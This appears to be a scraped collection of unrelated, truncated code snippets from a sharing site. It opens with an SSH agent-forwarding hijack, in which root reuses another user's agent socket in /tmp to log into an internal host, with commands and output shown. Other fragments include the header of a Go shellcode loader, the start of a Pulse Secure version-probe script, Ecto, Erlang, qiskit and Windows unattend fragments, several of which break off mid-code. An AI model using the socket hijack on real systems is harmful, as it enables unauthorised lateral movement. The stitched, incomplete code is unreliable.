Jean-Louis Huynen gallypette

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld

fetch_ghstars.py: quick CLI script to fetch and collate from Github API all of a user's starred repos

Requires Python 3.6+
Creates a subdir 'ghstars-USERNAME' at the current working directory
the raw JSON of each page request is saved as: 01.json, 02.json 0n.json
A flattened, filtered CSV is also created: wrangled.csv

Example usage:

Renaming table in Ecto migration

I recently wanted to rename a model and its postgres table in a Phoenix app. Renaming the table was simple and documented, but the table also had constraints, sequences, and indexes that needed to be updated in order for the Ecto model to be able to rely on default naming conventions. I couldn't find any examples of what this would look like but was eventually able to figure it out. For anyone else in the same situation, hopefully this example helps.

In the example below, I'm renaming the Permission model to Membership. This model belongs to a User and an Account, so it has foreign key constraints that need to be renamed.

defmodule MyApp.Repo.Migrations.RenamePermissionsToMemberships do
  use Ecto.Migration

	package main

	import (
	"fmt"
	"io"
	"io/ioutil"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	__author__ = "Mark Carney aka @LargeCardinal"
	__copyright__ = "The Author"
	__license__ = "MIT"
	__status__ = "Proof of Concept - NOT FOR PRODUCTION"

	import qiskit
	from qiskit import IBMQ

	import math
	import sympy

	//
	// Simple Shellcode loader implemented in Golang.
	//
	// Compilation:
	// $ go build -o foo.exe shellcodeLoader.go
	//
	// Mariusz B. / mgeeky (@mariuszbit), '20
	// <mb@binary-offensive.com>
	//

	-module(ntp).
	-export([get_time/1, get_time/0]).

	-define(NTP_PORT, 123). % udp
	-define(SERVER_TIMEOUT, 5000). % ms
	-define(EPOCH, 2208988800). % offset yr 1900 to unix epoch


	ntp_servers() ->
	[ "0.europe.pool.ntp.org",

	<?xml version="1.0" encoding="utf-8"?>
	<unattend xmlns="urn:schemas-microsoft-com:unattend">

	<settings pass="windowsPE">

	<component name="Microsoft-Windows-International-Core-WinPE" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<SetupUILanguage>
	<UILanguage>en-US</UILanguage>
	</SetupUILanguage>
	<SystemLocale>en-US</SystemLocale>

	import requests
	import sys
	import re

	HEADERS = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0"}

	if len(sys.argv) != 2:
	print " Usage: python pulseversion.py <target ip/domain>"
	sys.exit(1)

	-module(connection).
	-behaviour(gen_statem).

	-export([start_link/1, request/2]).
	-export([callback_mode/0, init/1]).
	-export([disconnected/3, connected/3]).

	%% Public API.

	start_link(Opts) ->